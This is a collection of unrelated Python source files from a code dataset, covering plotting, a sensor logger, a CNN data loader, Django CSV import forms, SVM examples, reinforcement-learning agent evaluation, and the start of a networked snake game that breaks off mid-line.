reward_exec_1, eta = eta, h_0_Stay = h_0_Stay, h_0_Mkt = h_0_Mkt, alpha_0 = alpha_0, alpha_max = alpha_max, r = r, pctg_0 = pctg_0)\nprint(error_h011)\n\n\n###############################################################################\n############################# Plot the improvement ############################\n###############################################################################\n\n###############################################################################\n###############################################################################\n###################### This is the first main plot ############################\n###################### There is no other one below ############################\n###############################################################################\n###############################################################################\n\n\n##### Plot v3\nstart = 0\nend = 16\noption_save = \"\"\npath_Image = \"Image\"; ImageName = \"\\\\improvement__optimal_placement_f\"\ndf = [ [error_h011[start:end,0],np.log(error_h011[start:end,1])]]\nlabels = [\" PASS \"]\nmark = ['o']\nfig = plt.figure(figsize=(8,5))\npltg.Plot_plot(df,labels, xlabel =\"Number of iterations\", ylabel =\"Log L2 - error\",\n option=option_save, path =path_Image, ImageName=ImageName, Nset_tick_x = False, mark = mark)\n\n\n\n###############################################################################\n###############################################################################\n############################# Plot the values #################################\n###############################################################################\n###############################################################################\n\n###############################################################################\n###############################################################################\n###################### This is the second main plots ##########################\n###################### value functions ##########################\n###############################################################################\n###############################################################################\n\n\n\n##### Plot the values\noption=\"\"; path = \"Image\"; ImageName=\"\\\\h___theo\"; xtitle=\"\"; figsize_=(8, 8)\na = 1; b = 1; subplot0 = 1; Nset_tick_x = False; annot =True; fmt = '.2g'; cbar = False; annot_size = 16\ncmaps = [sns.diverging_palette(10,240,n=6)]; masks = [None]\ntilde_size_q = size_q - 1\nq_val_ = df_bis[\"Value_opt\"]\nx_val = np.arange(1,tilde_size_q+1)\ny_val = np.arange(1,tilde_size_q+1)\nnb_x = tilde_size_q\nnb_y = tilde_size_q \ndf_n_row = nb_x*nb_y\ndf = pd.DataFrame(np.zeros((df_n_row,3)),columns=['x','y','z'])\ndf['x'] = np.repeat(x_val,nb_y)\ndf['y'] = np.tile(y_val,nb_x)\ndf['z'] = q_val_#u_next_1\nfig = plt.figure(figsize=figsize_)\npltg.Plot_sns_2(df.pivot(\"y\", \"x\", \"z\"),option=option,path =path,ImageName=ImageName,xtitle=xtitle, xlabel = \"\", ylabel = \"\", annot = annot, fig = fig, a = a, b = b, subplot0 = subplot0, cbar = cbar, cmaps = cmaps, masks = masks, fmt = fmt, annot_size = annot_size )\n\n\n##### Plot the result\noption=\"\"; path = \"Image\"; ImageName=\"\\\\h_011\"; xtitle=\"\"; figsize_=(8, 8)\na = 1; b = 1; subplot0 = 1; Nset_tick_x = False; annot =True; fmt = '.2g'; cbar = False; annot_size = 16\ncmaps = [sns.diverging_palette(10,240,n=6)]; masks = [None]\nq_val_ = np.around(h_011[1:,2:], decimals=1)\nx_val = np.arange(1,size_q)\ny_val = np.arange(1,size_q)\nnb_x = size_q-1\nnb_y = size_q-1\ndf_n_row = nb_x*nb_y\ndf = pd.DataFrame(np.zeros((df_n_row,3)),columns=['x','y','z'])\ndf['x'] = np.repeat(x_val,nb_y)\ndf['y'] = np.tile(y_val,nb_x)\ndf['z'] = q_val_.flatten()\nfig = plt.figure(figsize=figsize_)\npltg.Plot_sns_2(df.pivot(\"y\", \"x\", \"z\"),option=option,path =path,ImageName=ImageName,xtitle=xtitle, xlabel = \"\", ylabel = \"\", annot = annot, fig = fig, a = a, b = b, subplot0 = subplot0, cbar = cbar, cmaps = cmaps, masks = masks, fmt = fmt,annot_size=annot_size)\n\n\n\n###############################################################################\n###############################################################################\n############################# Plot the ctrl ###################################\n###############################################################################\n###############################################################################\n\n###############################################################################\n###############################################################################\n###################### This is the third main plots ###########################\n###################### ctrl agents ###########################\n###############################################################################\n###############################################################################\n\n\n\n\n##### Plot the values\noption=\"\"; path = \"Image\"; ImageName=\"\\\\ctrl_theo\"; xtitle=\"\"; figsize_=(8, 8)\na = 1; b = 1; subplot0 = 1; Nset_tick_x = False; annot =True; fmt = '.2g'; cbar = False; annot_size = 16\ncmaps = [sns.diverging_palette(10,240,n=6)]; masks = [None]\ntilde_size_q = size_q - 1\nq_val_ = (df_bis[\"Limit\"]>=df_bis[\"Market\"]).astype(int)\nfor qsame in range(size_q-1): # qsame is the size\n q_val_[qsame*(size_q -1) + qsame +1: (qsame+1)*(size_q -1)] = np.nan\nx_val = np.arange(1,tilde_size_q+1)\ny_val = np.arange(1,tilde_size_q+1)\nnb_x = tilde_size_q\nnb_y = tilde_size_q \ndf_n_row = nb_x*nb_y\ndf = pd.DataFrame(np.zeros((df_n_row,3)),columns=['x','y','z'])\ndf['x'] = np.repeat(x_val,nb_y)\ndf['y'] = np.tile(y_val,nb_x)\ndf['z'] = q_val_#u_next_1\nfig = plt.figure(figsize=figsize_)\npltg.Plot_sns_2(df.pivot(\"y\", \"x\", \"z\"),option=option,path =path,ImageName=ImageName,xtitle=xtitle, xlabel = \"\", ylabel = \"\", annot = annot, fig = fig, a = a, b = b, subplot0 = subplot0, cbar = cbar, cmaps = cmaps, masks = masks, fmt = fmt, annot_size = annot_size )\n\n\n##### Plot the result\noption=\"\"; path = \"Image\"; ImageName=\"\\\\ctrl_h__011\"; xtitle=\"\"; figsize_=(8, 8)\na = 1; b = 1; subplot0 = 1; Nset_tick_x = False; annot =True; fmt = '.2g'; cbar = False; annot_size = 16\ncmaps = [sns.diverging_palette(10,240,n=6)]; masks = [None]\nq_val_ = (h_011_Stay >= h_011_Mkt)[1:,2:].astype(float)\nfor qsame in range(size_q-1): # qsame is the size\n q_val_[qsame,(qsame+1):] = np.nan\nx_val = np.arange(1,size_q)\ny_val = np.arange(1,size_q)\nnb_x = size_q-1\nnb_y = size_q-1\ndf_n_row = nb_x*nb_y\ndf = pd.DataFrame(np.zeros((df_n_row,3)),columns=['x','y','z'])\ndf['x'] = np.repeat(x_val,nb_y)\ndf['y'] = np.tile(y_val,nb_x)\ndf['z'] = q_val_.flatten()\nfig = plt.figure(figsize=figsize_)\npltg.Plot_sns_2(df.pivot(\"y\", \"x\", \"z\"),option=option,path =path,ImageName=ImageName,xtitle=xtitle, xlabel = \"\", ylabel = \"\", annot = annot, fig = fig, a = a, b = b, subplot0 = subplot0, cbar = cbar, cmaps = cmaps, masks = masks, fmt = fmt,annot_size=annot_size)","sub_path":"OptiPlacement/tests/passTest.py","file_name":"passTest.py","file_ext":"py","file_size_in_byte":10252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"134315191","text":"## sensor and time lapse integration\nfrom tkinter import filedialog\nfrom watchdog.observers import Observer\nfrom watchdog.events import LoggingEventHandler, FileSystemEventHandler\nimport sys, time, logging, os, csv, string, serial\n\n#write Date, time, filename to csv file\ndef csvWriting(dirpath,templist):\n currentDate = time.strftime(\"%Y-%m-%d\")\n currentTime = time.strftime(\"%I:%M:%S %p\")\n onlyFileName = os.path.basename(dirpath)\n iterThis = (currentDate, currentTime, onlyFileName, templist[0], templist[1]) #list of relevant data\n global pre_written\n print(iterThis)\n with open('tempsensing.csv','a', newline='') as csvfile:\n fieldnames = ['Date','Time','File Name','Temp 1 (*C)', 'Temp 2 (*C)']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames, dialect='excel')\n if pre_written == False:\n writer.writeheader()\n pre_written = True\n writer.writerow({'Date': iterThis[0], 'Time': iterThis[1], 'File Name':iterThis[2], 'Temp 1 (*C)': iterThis[3], 'Temp 2 (*C)': iterThis[4]})\n\ndef TempSensing():\n DEFAULT_PORT = \"COM4\"\n x = serial.Serial(port=DEFAULT_PORT, baudrate=9600, timeout=40)\n time.sleep(3)\n x.write([1,2,3,4,5])\n strSense = x.read(210)\n strSense = str(strSense)\n strSense = strSense.split(',')\n temp1list = []\n temp2list = []\n pos = 0\n for z in strSense:\n\n if z == 'Sensor 1 Temp:':\n if len(temp1list) < 5:\n temp1list.append(strSense[pos+1])\n if z == 'Sensor 2 Temp:':\n if len(temp2list) < 5:\n temp2list.append(strSense[pos+1])\n pos += 1\n\n sum1 = 0\n sum2 = 0\n for p in temp1list:\n sum1 += float(p)\n\n for r in temp2list:\n sum2 += float(r)\n\n temp1 = sum1/len(temp1list)\n temp2 = sum2/len(temp2list)\n templist = (temp1, temp2)\n x.close()\n return(templist)\n\n\nclass LoggingTempHandler(FileSystemEventHandler):\n \"\"\"Logs all the events captured.\"\"\"\n def on_created(self, event):\n super(LoggingTempHandler, self).on_created(event)\n\n what = 'directory' if event.is_directory else 'file'\n logging.info(\"Created %s: %s\", what, event.src_path)\n templist = TempSensing()\n csvWriting(event.src_path, templist) #this happens last\n\ndef main():\n dirwatch = filedialog.askdirectory() #picks the directory to watch\n global pre_written\n pre_written = False\n logging.basicConfig(filename='testlog.log',\n filemode='w',\n level=logging.INFO,\n format='%(asctime)s - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n path = dirwatch if len(dirwatch) > 1 else '.'\n event_handler = LoggingTempHandler()\n observer = Observer()\n observer.schedule(event_handler, path, recursive=True)\n observer.start()\n\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n observer.join()\n\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bin/sensor_time_lapse_integration.py","file_name":"sensor_time_lapse_integration.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"68880064","text":"#coding:utf-8\n\"\"\"\nAuthor: lji\nfun: load image data to prepare for CNN recognition\nfile: loadData.py\nuse 4 spaces to fomat the source \n\"\"\"\nimport os\nfrom PIL import Image\nimport numpy as np\nimport string\nimport sys\nimport random\n\ndef read_label_from_txt(path_txt, mod):\n image_names = []\n labels = []\n image_names_labels = []\n #strokenums = []\n #pointnums = []\n\n file = open (path_txt)\n for line in file:\n # print(line.rstrip().split(' ',2)\n #image_name_label = line.rstrip().split(' ',2)\n image_names_labels.append(line)\n file.close()\n\n\n if mod == 1 :\t\n random.shuffle(image_names_labels) \n \n for elem in image_names_labels:\n #print(elem\n \timage_name_label = elem.rstrip().split(' ', 2)\n image_names.append(image_name_label[0])\n labels.append(image_name_label[1])\n #strokenums.append((float)(image_name_label[2]))\n #pointnums.append((float)(image_name_label[3]))\t\t\n\t\n del image_names_labels\n \n return image_names, labels \n\n\ndef read_image_from_files( ):\n \n print(\"load data from thenao_keras\")\n\n dir_images_train = \"../thenao_keras/train/\"\n dir_images_val = \"../thenao_keras/val/\"\n dir_label = \"../thenao_keras/label/\"\n file_train_label = \"train.txt\"\n file_val_label = \"val.txt\"\n\n\n print(\"load\" + (dir_label + file_train_label))\n train_images, train_labels = read_label_from_txt( dir_label +file_train_label, 0)\n print(\"finish.....\")\n\n print(\"load\" + (dir_images_val + file_val_label))\n val_images, val_labels = read_label_from_txt( dir_label +file_val_label, 0)\n print(\"finish....\")\n\n print(\"train_size:\" + str(len(train_images)))\n print(\"val_size:\" + str(len(val_images)))\n \n train_size = len(train_images)\n val_size = len(val_images)\n train_data = np.empty((train_size, 1, 64, 64), dtype = \"float32\")\n #train_strokenums_pointnums = np.empty((train_size, 2), dtype = \"float32\")\n train_labels_ = np.empty((train_size), dtype = \"int32\") \n val_data = np.empty((val_size, 1, 64, 64), dtype = \"float32\")\n #val_strokenums_pointnums = np.empty((val_size, 2), dtype = \"float32\")\n val_labels_ = np.empty((val_size), dtype = \"int32\") \n \n # print(dir_images_train + train_images[1]\n \n print(\"load train data start.....\") \n for i in range(train_size):\n \n if (i + 1) % 500 == 0 or (i + 1) == train_size:\n sys.stdout.write('\\rdone:' + str(i + 1) + '/'+ str(train_size) )\n sys.stdout.flush()\n \n #if i <= 20000:\n img = Image.open(dir_images_train + train_images[i])\n \tarr = np.asarray(img, dtype = \"float32\")\n #print(arr.shape\n #arr = arr.reshape(3, 128, 64)\n\n train_data[i, :, :, : ] = arr\n #train_strokenums_pointnums[i,:] = [train_strokenums[i], train_pointnums[i]]\n train_labels_[i] = int(train_labels[i])\n print(\"\\nload train data finish.....\")\n\n print(\"load val data start......\")\n for i in range(val_size):\n \n if (i + 1) % 500 == 0 or (i + 1) == val_size:\n sys.stdout.write('\\rdone:' + str(i + 1) + '/'+ str(val_size) )\n sys.stdout.flush()\n\n img = Image.open(dir_images_val + val_images[i])\n arr = np.asarray(img, dtype = \"float32\")\n #arr = arr.reshape(3, 128, 64)\n\n val_data[i, :, :, :] = arr\n #val_strokenums_pointnums[i,:] = [val_strokenums[i], val_pointnums[i]]\n val_labels_[i] = int(val_labels[i])\n \n print(\"\\nload val data finish....\")\n\n return train_data, train_labels_, val_data, val_labels_ \n\n\n\nif __name__ == '__main__':\n read_image_from_files( )\n","sub_path":"数据集处理code和data/model/loadData_64_64.py","file_name":"loadData_64_64.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"84154167","text":"import datetime\n\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom apps.csvimport.forms import CSVImportForm\n\nfrom .dialects import DocdataDialect\n\n\nclass BankTransactionImportForm(CSVImportForm):\n \"\"\" Import form for bank transactions. \"\"\"\n\n # Map field names or numbers to database fields\n field_mapping = {\n 0: 'sender_account',\n 1: 'currency',\n 2: 'interest_date',\n 3: 'credit_debit',\n 4: 'amount',\n 5: 'counter_account',\n 6: 'counter_name',\n 7: 'book_date',\n 8: 'book_code',\n 9: 'filler',\n 10: 'description1',\n 11: 'description2',\n 12: 'description3',\n 13: 'description4',\n 14: 'description5',\n 15: 'description6',\n 16: 'end_to_end_id',\n 17: 'id_recipient',\n 18: 'mandate_id'\n }\n\n def _reformat_date(self, date):\n assert len(date) == 8\n return datetime.datetime.strptime(date, '%Y%m%d').date()\n\n def pre_save(self, instance):\n # Fixup date after raw CSV import.\n instance.interest_date = self._reformat_date(instance.interest_date)\n instance.book_date = self._reformat_date(instance.book_date)\n\n def validate_csv(self, reader):\n \"\"\" Make sure there is no date overlap in CSV. \"\"\"\n # Discard header\n reader.next()\n\n for row in reader:\n book_date = self._reformat_date(row[7])\n\n if self.model.objects.filter(book_date=book_date).exists():\n raise forms.ValidationError(\n _(\n 'Duplicate date %s in CSV file. '\n 'This file has probably been uploaded before.'\n ) % book_date\n )\n\n\nclass DocdataPayoutImportForm(CSVImportForm):\n \"\"\" Docdata payout import form. \"\"\"\n\n dialect = DocdataDialect\n\n field_mapping = {\n 'Period ID': 'period_id',\n 'Start date': 'start_date',\n 'End date': 'end_date',\n 'Total': 'total'\n }\n\n def _reformat_date(self, date):\n return datetime.datetime.strptime(date, '%d/%m/%y').date()\n\n def pre_save(self, instance):\n # Fixup date after CSV import\n instance.start_date = self._reformat_date(instance.start_date)\n instance.end_date = self._reformat_date(instance.end_date)\n\n # If no payout has happened, value should be None\n if instance.total.strip() == '-':\n instance.total = None\n else:\n # Remove ' EUR' suffix from total.\n instance.total = instance.total.replace(' EUR', '')\n\n def skip_instance(self, instance):\n # Make sure period ID is not already present\n period_id = instance.period_id\n\n if self.model.objects.filter(period_id=period_id).exists():\n # Already exists, skip\n return True\n\n return False\n\n\nclass DocdataPaymentImportForm(CSVImportForm):\n \"\"\" Docdata payment form. \"\"\"\n\n dialect = DocdataDialect\n\n field_mapping = {\n 'Merchant Reference': 'merchant_reference',\n 'Triple Deal Reference': 'triple_deal_reference',\n 'Type': 'payment_type',\n 'Amount Registered': 'amount_registered',\n 'Currency Amount Registered': 'currency_amount_registered',\n 'Amount Collected': 'amount_collected',\n 'Currency Amount Collected': 'currency_amount_collected',\n 'TPCD': 'tpcd',\n 'Currency TPCD': 'currency_tpcd',\n 'TPCI': 'tpci',\n 'Currency TPCI': 'currency_tpci',\n 'docdata payments Fee': 'docdata_fee',\n 'Currency docdata payments Fee': 'currency_docdata_fee',\n }\n\n def pre_save(self, instance):\n \"\"\" Process model instance before saving. \"\"\"\n\n if not instance.tpcd:\n # Decimal fields can be None, not empty\n instance.tpcd = None\n\n if not instance.tpci:\n # Decimal fields can be None, not empty\n instance.tpci = None\n\n def skip_instance(self, instance):\n if self.model.objects.filter(\n triple_deal_reference=instance.triple_deal_reference,\n merchant_reference=instance.merchant_reference,\n payment_type=instance.payment_type\n ).exists():\n\n # Already exists, skip\n return True\n\n return False\n\n","sub_path":"apps/accounting/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"269741287","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Oct 6 22:00:18 2018\r\n\r\n@author: 小周\r\n\r\n\"\"\"\r\n\r\n'''\r\n支持向量机\r\n'''\r\n\r\n# 3.1: 数据导入和预处理\r\nimport numpy as np\r\nfrom sklearn import datasets\r\nfrom sklearn.svm import SVC\r\nimport matplotlib.pyplot as plt\r\n\r\nimport First_scikit_learn\r\n\r\n#====================================================================\r\n# 导入数据及预处理\r\niris = datasets.load_iris()\r\nX = iris.data[:, [2, 3]] # 获取iris数据集的第三列和第四列数据\r\ny = iris.target\r\n# Splitting data into 70% training and 30% test data\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)\r\n# Standardizing the features:\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc = StandardScaler()\r\nsc.fit(X_train) # Compute the mean and std to be used for later scaling\r\nX_train_std = sc.transform(X_train) # Perform standardization by centering and scaling\r\nX_test_std = sc.transform(X_test)\r\nX_combined_std = np.vstack((X_train_std, X_test_std))\r\ny_combined = np.hstack((y_train, y_test))\r\n#====================================================================\r\n\r\n\r\n\r\n# 使用SVM的线性函数对iris的3,4列数据分类\r\ndef SVM_Linear_classsifier():\r\n svm = SVC(kernel='linear', C=1.0, random_state=0)\r\n svm.fit(X_train_std, y_train)\r\n\r\n #y_pred = svm.predict(X_test_std)\r\n #print('Misclassified samples: %d' % (y_test != y_pred).sum())\r\n \r\n First_scikit_learn.plot_decision_regions(X_combined_std, y_combined, classifier=svm, test_idx=range(105, 150))\r\n plt.xlabel('Petal length [standardized]')\r\n plt.ylabel('Petal width [standardized]')\r\n plt.legend(loc='upper left')\r\n plt.title('Support Vector Machine')\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n# Solving non-linear problems using a kernel SVM\r\ndef SVM_Nonlinear_classifier():\r\n np.random.seed(0)\r\n X_xor = np.random.randn(200, 2)\r\n y_xor = np.logical_xor(X_xor[:, 0] > 0, X_xor[:, 1] > 0)\r\n y_xor = np.where(y_xor, 1, -1)\r\n '''\r\n # 画出数据的散点图\r\n plt.scatter(X_xor[y_xor == 1, 0], X_xor[y_xor == 1, 1], c='b', marker='x', label='1')\r\n plt.scatter(X_xor[y_xor == -1, 0], X_xor[y_xor == -1, 1], c='r', marker='s', label='-1')\r\n plt.xlim([-3, 3])\r\n plt.ylim([-3, 3])\r\n plt.legend(loc='best')\r\n plt.tight_layout()\r\n plt.show()\r\n '''\r\n svm = SVC(kernel='rbf', random_state=0, gamma=0.10, C=10.0)\r\n svm.fit(X_xor, y_xor)\r\n First_scikit_learn.plot_decision_regions(X_xor, y_xor, classifier=svm)\r\n plt.legend(loc='upper left')\r\n plt.tight_layout()\r\n plt.show()\r\n# 使用SVM的rbf函数对iris数据集的3,4列分类\r\ndef SVM_rbf_classifier():\r\n \r\n #svm = SVC(kernel='rbf', random_state=0, gamma=0.2, C=1.0)\r\n svm = SVC(kernel='rbf', random_state=0, gamma=100.0, C=1.0)\r\n svm.fit(X_train_std, y_train)\r\n\r\n First_scikit_learn.plot_decision_regions(X_combined_std, y_combined, classifier=svm, test_idx=range(105, 150))\r\n plt.xlabel('petal length [standardized]')\r\n plt.ylabel('petal width [standardized]')\r\n plt.legend(loc='upper left')\r\n plt.tight_layout()\r\n plt.show()\r\n \r\nif __name__ == '__main__':\r\n #SVM_Linear_classsifier()\r\n SVM_Nonlinear_classifier()\r\n #SVM_rbf_classifier()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Python Machine Learning/Chapter03/Support_Vector_machines.py","file_name":"Support_Vector_machines.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"150272588","text":"import os\nos.environ['MKL_THREADING_LAYER'] = 'GNU'\nfrom tank_env import TankEnv\nfrom stable_baselines3 import PPO\nimport argparse\nimport json\nimport train\n\nDUMMY_ELO=1000\n\ndef curr_model_path(model_dir, agent_id, agent_stats):\n return model_dir+agent_id+'/'+agent_id+'_'+str(agent_stats[\"num_steps\"])\n\ndef get_opps_and_elos(model_dir, agent_id):\n pop = train.load_pop(model_dir)\n pop.remove(agent_id)\n \n pop_fps = []\n for p in pop:\n p_stats = train.load_stats(model_dir, p)\n pop_fps.append(curr_model_path(model_dir, p, p_stats))\n return list(zip(pop_fps, [DUMMY_ELO for _ in pop_fps]))\n\ndef evaluate_agent(model_dir, local_pop_dir, agent_id, game_path, base_port, num_envs, num_trials, level_path=None):\n PLAYER_1=0\n PLAYER_2=1\n FP=0\n # Load agent and env\n agent_stats = train.load_stats(model_dir, agent_id)\n #if not (agent_stats[\"nemesis\"] or agent_stats[\"survivor\"]):\n opp_fp_and_elo = get_opps_and_elos(local_pop_dir, agent_id)\n #else:\n #opp_fp_and_elo = [(curr_model_path(model_dir, agent_stats[\"matching_agent\"], train.load_stats(model_dir, agent_stats[\"matching_agent\"])), DUMMY_ELO)]\n \n env_p = agent_stats[\"env_p\"] if \"env_p\" in agent_stats else 3\n \n env_stdout_path=local_pop_dir+agent_id+\"/env_log.txt\"\n env_stack = train.make_env_stack(num_envs, game_path, base_port, local_pop_dir+agent_id+\"/gamelog.txt\", opp_fp_and_elo, DUMMY_ELO, \n elo_match=False, survivor=agent_stats[\"survivor\"] if \"survivor\" in agent_stats else False, stdout_path=env_stdout_path, level_path=level_path, image_based=agent_stats[\"image_based\"], env_p=env_p)\n agent_model_path = curr_model_path(model_dir, agent_id, agent_stats)\n agent = PPO.load(agent_model_path, env=env_stack)\n print(\"Loaded model saved at\", agent_model_path, flush=True)\n try:\n # Evaluate\n results = []\n for i,(opp_fp, _) in enumerate(opp_fp_and_elo):\n print(\"Starting evaluation of\", agent_id, \"vs\", opp_fp, flush=True)\n print(i*100/len(opp_fp_and_elo), \"% complete\", sep=\"\", flush=True)\n total_reward = 0\n total_steps = 0\n total_wins = 0\n total_losses = 0\n states = env_stack.reset()\n envs_done = []\n running_reward = [0 for _ in range(num_envs)]\n running_steps = [0 for _ in range(num_envs)]\n i = 0\n while i < num_trials:\n reset_states = env_stack.env_method(\"reset\", indices = envs_done)\n for state,env_idx in zip(reset_states, envs_done):\n states[env_idx] = state\n envs_done = []\n while len(envs_done) < 1:\n actions, _ = agent.predict(states)\n states, rewards, dones, infos = env_stack.step(actions)\n for k in range(num_envs):\n running_reward[k] += rewards[k]\n running_steps[k] += 1\n if any(dones):\n for j,done in enumerate(dones):\n if done:\n i += 1\n envs_done.append(j)\n total_reward += running_reward[j]\n running_reward[j] = 0\n total_steps += running_steps[j]\n running_steps[j] = 0\n if \"winner\" in infos[j]:\n if infos[j][\"winner\"] == PLAYER_1:\n total_wins += 1\n elif infos[j][\"winner\"] == PLAYER_2:\n total_losses += 1\n avg_reward = total_reward/i\n avg_steps = total_steps/i\n results.append((opp_fp.split('/')[-1], total_wins, total_losses, i, avg_reward, avg_steps))\n if opp_fp != opp_fp_and_elo[-1][FP]:\n env_stack.env_method(\"next_opp\")\n except ConnectionError as e:\n env_stack.env_method(\"kill_env\")\n raise e\n except ConnectionResetError as e2:\n env_stack.env_method(\"kill_env\")\n raise e2\n except EOFError as e3:\n env_stack.env_method(\"kill_env\")\n raise e3\n except json.decoder.JSONDecodeError as e4:\n env_stack.env_method(\"kill_env\")\n raise e4\n finally:\n # Cleanup and return\n env_stack.close()\n del env_stack\n return results\n \ndef print_summary(agent_id, results):\n print(\"Summary of evaluation:\", flush=True)\n for (opp_fp, total_wins, total_losses, total_games, avg_reward, avg_steps) in results:\n print(\"Evaluation results of\", agent_id, \"vs\", opp_fp)\n print(\"\\tTotal Wins:\", total_wins)\n print(\"\\tTotal Losses:\", total_losses)\n print(\"\\tTotal Ties:\", total_games-(total_wins+total_losses))\n print(\"\\tTotal Games:\", total_games)\n print(\"\\tAverage Reward:\", avg_reward)\n print(\"\\tAverage Steps:\", avg_steps, flush=True)\n \nif __name__ == \"__main__\":\n # Setup command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"game_path\", type=str, help=\"File path of game executable\")\n parser.add_argument(\"model_dir\", type=str, help=\"Base directory for agent models\")\n parser.add_argument(\"local_pop_dir\", type=str, help=\"Base directory for agent models (saved on local host)\")\n parser.add_argument(\"agent_id\", type=str, help=\"ID of agent model to be evaluated\")\n parser.add_argument(\"--num_trials\", type=int, default=50, help = \"Total number of trials to evaluate model for\")\n parser.add_argument(\"--base_port\", type=int, default=52000, help = \"Base port that environments will communicate on.\")\n parser.add_argument(\"--num_envs\", type=int, default=1, help=\"Number of environments to run concurrently\")\n parser.add_argument(\"--level_path\", type=str, default=None, help=\"Path to level file\")\n args = parser.parse_args()\n print(args, flush=True)\n train.validate_args(args)\n print(\"Starting evaluation of\", args.agent_id, \"with\", args.num_trials, \"trials against each opponent in population\", flush=True)\n results = evaluate_agent(args.model_dir, args.local_pop_dir, args.agent_id, args.game_path, args.base_port, args.num_envs, args.num_trials, level_path=args.level_path)\n print(\"Evaluation of\", args.agent_id, \"complete\", flush=True)\n print_summary(results)","sub_path":"PythonScripts/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":6482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"88891023","text":"import random, math\nimport socket, threading,struct\nfrom enum import IntEnum, auto\n\nimport pyxel as P\nfrom pyxel import btn,btnp,quit\n\nclass Human():# Player -it had Player arg \"\"\" Human player with controls \"\"\"\n def __init__(self, name, im, kc):\n print('debug Human',name)\n self.name = name\n self.IN = InputState()\n \n if kc != (-1, -1):\n im.add_mapping(self.IN, kc[0], Action.TURN_LEFT)\n im.add_mapping(self.IN, kc[1], Action.TURN_RIGHT)\n\n def act(self):#\"\"\" Process the inputs to the controlled snake.AI players can process the game state in this function. \"\"\"\n if self.IN.button_state[Action.TURN_LEFT]:self.snake_input = -S_TURN\n elif self.IN.button_state[Action.TURN_RIGHT]:self.snake_input = S_TURN\n else:self.snake_input = 0\n# def send_update(self, snake_id, added_parts,num_RMVED):pass\n\nclass SimpleAI():# \"\"\" Simple AI to test interfaces \"\"\" - it had Player\n def __init__(self, name):\n self.num = 0\n self.name = name\n def act(self):self.snake_input = random.randrange(-5, 6)# \"\"\" Generate input \"\"\"\n# def send_update(self, snake_id, added_parts,num_RMVED):pass# \"\"\" Interface which remote and AI players can override to upkeep game state \"\"\"\n\n############################################## ALL NETWORKING for the following part ##########################\nDEFAULT_PORT = 45000\n\n#@unique\n#class NetMessage(IntEnum):#\"\"\" All game actions that buttons can be mapped to \"\"\"\nC_REGISTER_PLAYER = 1000\nC_SNAKE_INPUT = 1001\nS_PLAYER_REGISTERED = 2000\nS_NEW_PLAYER = 2001\nS_GAME_UPDATE = 3000\nS_PLAYER_REFUSED = 8000\n\n# Messages:\n\n# Client to server:\n# REGISTER PLAYER\n# bytes data\n# 4 Message type\n# 4 Message length\n# 4 Client Specified Player ID\n# 1 Player Name length\n# [1]* Player Name characteer\n\n# SNAKE_INPUT:\n# 4 Message type\n# 4 Message length\n# 4 Snake ID (Must match client's own snake ID)\n# 4 Turn direction [-5, 5]\n\n# Server to client:\n# PLAYER_REGISTERED (own information, answer to ADD_PLAYER)\n# 4 Message type\n# 4 Message length\n# 4 Controlled Snake ID\n# 4 Client Specified remote player ID\n\n# PLAYER_REFUSED (Game full etc.)\n# 4 Message type\n# 4 Message length\n# 4 Client Specified remote player ID\n# [1]* Error message\n\n# NEW_PLAYER (external players)\n# 4 Message type\n# 4 Message length\n# 4 Snake ID\n# 1 Player Name length\n# [1]* Player Name\n\n# GAME_STATE_UPDATE:\n# 4 Message Type\n# 4 Message length\n# 4 Pizzas Removed\n# 4 Pizzas Added\n# [\n# 4 Removed pizza ID\n# ] * removed pizzas\n# [\n# 4 Pizza ID\n# 4 X\n# 4 Y\n# 4 Radius\n# ] * added pizzas\n# 4 Snakes count\n# [\n# 4 Snake ID\n# 4 Snake Direction in Degrees\n# 4 Count of Removed Tail Parts\n# 4 Added Part count\n# [\n# 4 X\n# 4 Y\n# 4 PartID\n# ] * Parts\n# ] * Snakes\n\ndef int_to_bytes(x):return x.to_bytes(4, byteorder='big') # \"\"\" Convert int to bytes \"\"\"\ndef bytes_to_int(byte_array):return int.from_bytes(byte_array, byteorder='big')# \"\"\" Bytes to int \"\"\"\ndef pack_into(fmt, buffer, offset, *args): \n \"\"\" Pack data with struct.pack_into and given data format.return the size of the output data with that format.\n Use offset += pack_into() to update the offset for next call \"\"\"\n try:\n struct.pack_into(fmt, buffer, offset, *args)\n return struct.calcsize(fmt)\n except Exception as e:\n print(e)\n assert 1\n\nHEADER_FORMAT = '>ii'\nMSG_HEADER_SIZE = struct.calcsize(HEADER_FORMAT)\n\nclass PlayerRegisterMessage():# \"\"\" Register client player to the server \"\"\" - it had Message before\n player_id_format = '>i'\n def __init__(self, i, p):\n self.msg_type = C_REGISTER_PLAYER\n self.index = i\n self.player = p\n\n def message_length(self):return (struct.calcsize(self.player_id_format) + len(self.player.name) + 1)# \"\"\" return message lenght \"\"\"\n def total_message_size(self):return self.message_length() + struct.calcsize(HEADER_FORMAT)\n def reserve_msg_buffer(self): return bytearray(self.total_message_size())#\"\"\" Reserve big enough buffer for the message \"\"\"\n def pack_header(self, buffer):return pack_into(HEADER_FORMAT, 